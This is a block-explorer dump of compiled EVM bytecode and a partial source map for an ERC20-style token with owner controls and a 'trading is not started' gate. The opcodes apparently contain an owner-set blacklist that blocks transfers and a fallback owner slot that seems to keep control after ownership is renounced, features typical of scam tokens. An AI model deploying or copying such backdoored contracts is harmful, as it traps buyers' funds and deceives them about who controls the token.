fffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ed99190611885565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4c90611f99565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbb9061202b565b60405180910390fd5b610fcf838383611482565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611056576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104d906120bd565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110eb9190611c00565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161114f9190611885565b60405180910390a36111628484846115b0565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ce9061214f565b60405180910390fd5b6111e382600083611482565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561126a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611261906121e1565b60405180910390fd5b818103600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546112c29190611c34565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113279190611885565b60405180910390a361133b836000846115b0565b505050565b611348610d15565b73ffffffffffffffffffffffffffffffffffffffff166113666115b5565b73ffffffffffffffffffffffffffffffffffffffff16146113bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b39061224d565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61148b83611659565b61149d576000811461149c57600080fd5b5b600073ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036115aa576114fb610980565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115665750611537610980565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6115a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159c906122b9565b60405180910390fd5b6115ab565b5b505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116305760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611654565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116ea5780820151818401526020810190506116cf565b60008484015250505050565b6000601f19601f8301169050919050565b6000611712826116b0565b61171c81856116bb565b935061172c8185602086016116cc565b611735816116f6565b840191505092915050565b6000602082019050818103600083015261175a8184611707565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117978261176c565b9050919050565b6117a78161178c565b81146117b257600080fd5b50565b6000813590506117c48161179e565b92915050565b6000819050919050565b6117dd816117ca565b81146117e857600080fd5b50565b6000813590506117fa816117d4565b92915050565b6000806040838503121561181757611816611762565b5b6000611825858286016117b5565b9250506020611836858286016117eb565b9150509250929050565b60008115159050919050565b61185581611840565b82525050565b6000602082019050611870600083018461184c565b92915050565b61187f816117ca565b82525050565b600060208201905061189a6000830184611876565b92915050565b6000806000606084860312156118b9576118b8611762565b5b60006118c7868287016117b5565b93505060206118d8868287016117b5565b92505060406118e9868287016117eb565b9150509250925092565b600060ff82169050919050565b611909816118f3565b82525050565b60006020820190506119246000830184611900565b92915050565b6000602082840312156119405761193f611762565b5b600061194e848285016117eb565b91505092915050565b6119608161178c565b82525050565b600060208201905061197b6000830184611957565b92915050565b60006020828403121561199757611996611762565b5b60006119a5848285016117b5565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126119d3576119d26119ae565b5b8235905067ffffffffffffffff8111156119f0576119ef6119b3565b5b602083019150836020820283011115611a0c57611a0b6119b8565b5b9250929050565b611a1c81611840565b8114611a2757600080fd5b50565b600081359050611a3981611a13565b92915050565b600080600060408486031215611a5857611a57611762565b5b600084013567ffffffffffffffff811115611a7657611a75611767565b5b611a82868287016119bd565b93509350506020611a9586828701611a2a565b9150509250925092565b60008060408385031215611ab657611ab5611762565b5b6000611ac4858286016117b5565b9250506020611ad5858286016117b5565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611b2657607f821691505b602082108103611b3957611b38611adf565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611b9b6028836116bb565b9150611ba682611b3f565b604082019050919050565b60006020820190508181036000830152611bca81611b8e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c0b826117ca565b9150611c16836117ca565b9250828201905080821115611c2e57611c2d611bd1565b5b92915050565b6000611c3f826117ca565b9150611c4a836117ca565b9250828203905081811115611c6257611c61611bd1565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611ca2826117ca565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611cd457611cd3611bd1565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611d3b6025836116bb565b9150611d4682611cdf565b604082019050919050565b60006020820190508181036000830152611d6a81611d2e565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611dcd6026836116bb565b9150611dd882611d71565b604082019050919050565b60006020820190508181036000830152611dfc81611dc0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e5f6024836116bb565b9150611e6a82611e03565b604082019050919050565b60006020820190508181036000830152611e8e81611e52565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ef16022836116bb565b9150611efc82611e95565b604082019050919050565b60006020820190508181036000830152611f2081611ee4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611f836025836116bb565b9150611f8e82611f27565b604082019050919050565b60006020820190508181036000830152611fb281611f76565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006120156023836116bb565b915061202082611fb9565b604082019050919050565b6000602082019050818103600083015261204481612008565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006120a76026836116bb565b91506120b28261204b565b604082019050919050565b600060208201905081810360008301526120d68161209a565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006121396021836116bb565b9150612144826120dd565b604082019050919050565b600060208201905081810360008301526121688161212c565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006121cb6022836116bb565b91506121d68261216f565b604082019050919050565b600060208201905081810360008301526121fa816121be565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006122376020836116bb565b915061224282612201565b602082019050919050565b600060208201905081810360008301526122668161222a565b9050919050565b7f74726164696e67206973206e6f74207374617274656400000000000000000000600082015250565b60006122a36016836116bb565b91506122ae8261226d565b602082019050919050565b600060208201905081810360008301526122d281612296565b905091905056fea2646970667358221220fe9c6ee0a61976d78e5cbf27d7f009f6827f0b5976116fcc60de62cbcd9f5a5364736f6c63430008130033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063a457c2d71161007c578063a457c2d7146103a2578063a9059cbb146103d2578063dae39f9214610402578063dd62ed3e14610432578063e074839e14610462578063f2fde38b1461047e5761014d565b8063715018a6146102f457806373fa7ddb146102fe5780637ef09bca1461031a5780638187f5161461034a5780638da5cb5b1461036657806395d89b41146103845761014d565b8063313ce56711610115578063313ce5671461020c578063395093511461022a57806342966c681461025a57806349bd5a5e1461027657806357be55751461029457806370a08231146102c45761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be5780632b112e49146101ee575b600080fd5b61015a61049a565b6040516101679190611740565b60405180910390f35b61018a60048036038101906101859190611800565b61052c565b604051610197919061185b565b60405180910390f35b6101a861054a565b6040516101b59190611885565b60405180910390f35b6101d860048036038101906101d391906118a0565b610554565b6040516101e5919061185b565b60405180910390f35b6101f661064c565b6040516102039190611885565b60405180910390f35b6102146106c5565b604051610221919061190f565b60405180910390f35b610244600480360381019061023f9190611800565b6106ce565b604051610251919061185b565b60405180910390f35b610274600480360381019061026f919061192a565b61077a565b005b61027e61078e565b60405161028b9190611966565b60405180910390f35b6102ae60048036038101906102a99190611981565b6107b4565b6040516102bb919061185b565b60405180910390f35b6102de60048036038101906102d99190611981565b6107d4565b6040516102eb9190611885565b60405180910390f35b6102fc61081d565b005b61031860048036038101906103139190611a3f565b610831565b005b610334600480360381019061032f9190611981565b6108de565b604051610341919061185b565b60405180910390f35b610364600480360381019061035f9190611981565b610934565b005b61036e610980565b60405161037b9190611966565b60405180910390f35b61038c6109a9565b6040516103999190611740565b60405180910390f35b6103bc60048036038101906103b79190611800565b610a3b565b6040516103c9919061185b565b60405180910390f35b6103ec60048036038101906103e79190611800565b610b26565b6040516103f9919061185b565b60405180910390f35b61041c60048036038101906104179190611981565b610b44565b604051610429919061185b565b60405180910390f35b61044c60048036038101906104479190611a9f565b610b64565b6040516104599190611885565b60405180910390f35b61047c60048036038101906104779190611981565b610beb565b005b61049860048036038101906104939190611981565b610c92565b005b6060600580546104a990611b0e565b80601f01602080910402602001604051908101604052809291908181526020018280546104d590611b0e565b80156105225780601f106104f757610100808354040283529160200191610522565b820191906000526020600020905b81548152906001019060200180831161050557829003601f168201915b5050505050905090565b6000610540610539610d15565b8484610d1d565b6001905092915050565b6000600454905090565b6000610561848484610ee6565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ac610d15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561062c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062390611bb1565b60405180910390fd5b61064085610638610d15565b858403610d1d565b60019150509392505050565b6000610679600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107d4565b6106a4600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107d4565b6106ae9190611c00565b6106b661054a565b6106c09190611c34565b905090565b60006009905090565b60006107706106db610d15565b8484600360006106e9610d15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461076b9190611c00565b610d1d565b6001905092915050565b61078b610785610d15565b82611168565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610825611340565b61082f60006113be565b565b610839611340565b60005b838390508110156108d857816007600086868581811061085f5761085e611c68565b5b90506020020160208101906108749190611981565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108d090611c97565b91505061083c565b50505050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61093c611340565b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546109b890611b0e565b80601f01602080910402602001604051908101604052809291908181526020018280546109e490611b0e565b8015610a315780601f10610a0657610100808354040283529160200191610a31565b820191906000526020600020905b815481529060010190602001808311610a1457829003601f168201915b5050505050905090565b60008060036000610a4a610d15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afe90611d51565b60405180910390fd5b610b1b610b12610d15565b85858403610d1d565b600191505092915050565b6000610b3a610b33610d15565b8484610ee6565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610bf3611340565b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4e57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610c9a611340565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0090611de3565b60405180910390fd5b610d12816113be565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8390611e75565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df290611f07565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ed99190611885565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4c90611f99565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbb9061202b565b60405180910390fd5b610fcf838383611482565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611056576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104d906120bd565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110eb9190611c00565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161114f9190611885565b60405180910390a36111628484846115b0565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ce9061214f565b60405180910390fd5b6111e382600083611482565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561126a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611261906121e1565b60405180910390fd5b818103600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546112c29190611c34565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113279190611885565b60405180910390a361133b836000846115b0565b505050565b611348610d15565b73ffffffffffffffffffffffffffffffffffffffff166113666115b5565b73ffffffffffffffffffffffffffffffffffffffff16146113bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b39061224d565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61148b83611659565b61149d576000811461149c57600080fd5b5b600073ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036115aa576114fb610980565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115665750611537610980565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6115a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159c906122b9565b60405180910390fd5b6115ab565b5b505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116305760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611654565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116ea5780820151818401526020810190506116cf565b60008484015250505050565b6000601f19601f8301169050919050565b6000611712826116b0565b61171c81856116bb565b935061172c8185602086016116cc565b611735816116f6565b840191505092915050565b6000602082019050818103600083015261175a8184611707565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117978261176c565b9050919050565b6117a78161178c565b81146117b257600080fd5b50565b6000813590506117c48161179e565b92915050565b6000819050919050565b6117dd816117ca565b81146117e857600080fd5b50565b6000813590506117fa816117d4565b92915050565b6000806040838503121561181757611816611762565b5b6000611825858286016117b5565b9250506020611836858286016117eb565b9150509250929050565b60008115159050919050565b61185581611840565b82525050565b6000602082019050611870600083018461184c565b92915050565b61187f816117ca565b82525050565b600060208201905061189a6000830184611876565b92915050565b6000806000606084860312156118b9576118b8611762565b5b60006118c7868287016117b5565b93505060206118d8868287016117b5565b92505060406118e9868287016117eb565b9150509250925092565b600060ff82169050919050565b611909816118f3565b82525050565b60006020820190506119246000830184611900565b92915050565b6000602082840312156119405761193f611762565b5b600061194e848285016117eb565b91505092915050565b6119608161178c565b82525050565b600060208201905061197b6000830184611957565b92915050565b60006020828403121561199757611996611762565b5b60006119a5848285016117b5565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126119d3576119d26119ae565b5b8235905067ffffffffffffffff8111156119f0576119ef6119b3565b5b602083019150836020820283011115611a0c57611a0b6119b8565b5b9250929050565b611a1c81611840565b8114611a2757600080fd5b50565b600081359050611a3981611a13565b92915050565b600080600060408486031215611a5857611a57611762565b5b600084013567ffffffffffffffff811115611a7657611a75611767565b5b611a82868287016119bd565b93509350506020611a9586828701611a2a565b9150509250925092565b60008060408385031215611ab657611ab5611762565b5b6000611ac4858286016117b5565b9250506020611ad5858286016117b5565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611b2657607f821691505b602082108103611b3957611b38611adf565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611b9b6028836116bb565b9150611ba682611b3f565b604082019050919050565b60006020820190508181036000830152611bca81611b8e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c0b826117ca565b9150611c16836117ca565b9250828201905080821115611c2e57611c2d611bd1565b5b92915050565b6000611c3f826117ca565b9150611c4a836117ca565b9250828203905081811115611c6257611c61611bd1565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611ca2826117ca565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611cd457611cd3611bd1565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611d3b6025836116bb565b9150611d4682611cdf565b604082019050919050565b60006020820190508181036000830152611d6a81611d2e565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611dcd6026836116bb565b9150611dd882611d71565b604082019050919050565b60006020820190508181036000830152611dfc81611dc0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e5f6024836116bb565b9150611e6a82611e03565b604082019050919050565b60006020820190508181036000830152611e8e81611e52565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ef16022836116bb565b9150611efc82611e95565b604082019050919050565b60006020820190508181036000830152611f2081611ee4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611f836025836116bb565b9150611f8e82611f27565b604082019050919050565b60006020820190508181036000830152611fb281611f76565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006120156023836116bb565b915061202082611fb9565b604082019050919050565b6000602082019050818103600083015261204481612008565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006120a76026836116bb565b91506120b28261204b565b604082019050919050565b600060208201905081810360008301526120d68161209a565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006121396021836116bb565b9150612144826120dd565b604082019050919050565b600060208201905081810360008301526121688161212c565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006121cb6022836116bb565b91506121d68261216f565b604082019050919050565b600060208201905081810360008301526121fa816121be565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006122376020836116bb565b915061224282612201565b602082019050919050565b600060208201905081810360008301526122668161222a565b9050919050565b7f74726164696e67206973206e6f74207374617274656400000000000000000000600082015250565b60006122a36016836116bb565b91506122ae8261226d565b602082019050919050565b600060208201905081810360008301526122d281612296565b905091905056fea2646970667358221220fe9c6ee0a61976d78e5cbf27d7f009f6827f0b5976116fcc60de62cbcd9f5a5364736f6c63430008130033
Deployed Bytecode Sourcemap
20597:1254:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6293:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8459:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7412:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13947:492;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21029:139;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7255:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9294:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17399:91;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20836:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5738:50;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7583:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19415:103;;;:::i;:::-;;21293:197;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8636:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21176:109;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18767:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6512:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10012:413;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7923:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20652:49;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8161:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19934:145;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19673:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6293:100;6347:13;6380:5;6373:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6293:100;:::o;8459:169::-;8542:4;8559:39;8568:12;:10;:12::i;:::-;8582:7;8591:6;8559:8;:39::i;:::-;8616:4;8609:11;;8459:169;;;;:::o;7412:108::-;7473:7;7500:12;;7493:19;;7412:108;:::o;13947:492::-;14087:4;14104:36;14114:6;14122:9;14133:6;14104:9;:36::i;:::-;14153:24;14180:11;:19;14192:6;14180:19;;;;;;;;;;;;;;;:33;14200:12;:10;:12::i;:::-;14180:33;;;;;;;;;;;;;;;;14153:60;;14252:6;14232:16;:26;;14224:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;14339:57;14348:6;14356:12;:10;:12::i;:::-;14389:6;14370:16;:25;14339:8;:57::i;:::-;14427:4;14420:11;;;13947:492;;;;;:::o;21029:139::-;21082:7;21144:15;21154:4;;;;;;;;;;;21144:9;:15::i;:::-;21126;21136:4;;;;;;;;;;;21126:9;:15::i;:::-;:33;;;;:::i;:::-;21109:13;:11;:13::i;:::-;:51;;;;:::i;:::-;21102:58;;21029:139;:::o;7255:92::-;7313:5;7338:1;7331:8;;7255:92;:::o;9294:215::-;9382:4;9399:80;9408:12;:10;:12::i;:::-;9422:7;9468:10;9431:11;:25;9443:12;:10;:12::i;:::-;9431:25;;;;;;;;;;;;;;;:34;9457:7;9431:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;9399:8;:80::i;:::-;9497:4;9490:11;;9294:215;;;;:::o;17399:91::-;17455:27;17461:12;:10;:12::i;:::-;17475:6;17455:5;:27::i;:::-;17399:91;:::o;20836:28::-;;;;;;;;;;;;;:::o;5738:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;7583:127::-;7657:7;7684:9;:18;7694:7;7684:18;;;;;;;;;;;;;;;;7677:25;;7583:127;;;:::o;19415:103::-;18653:13;:11;:13::i;:::-;19480:30:::1;19507:1;19480:18;:30::i;:::-;19415:103::o:0;21293:197::-;18653:13;:11;:13::i;:::-;21378:9:::1;21373:110;21397:8;;:15;;21393:1;:19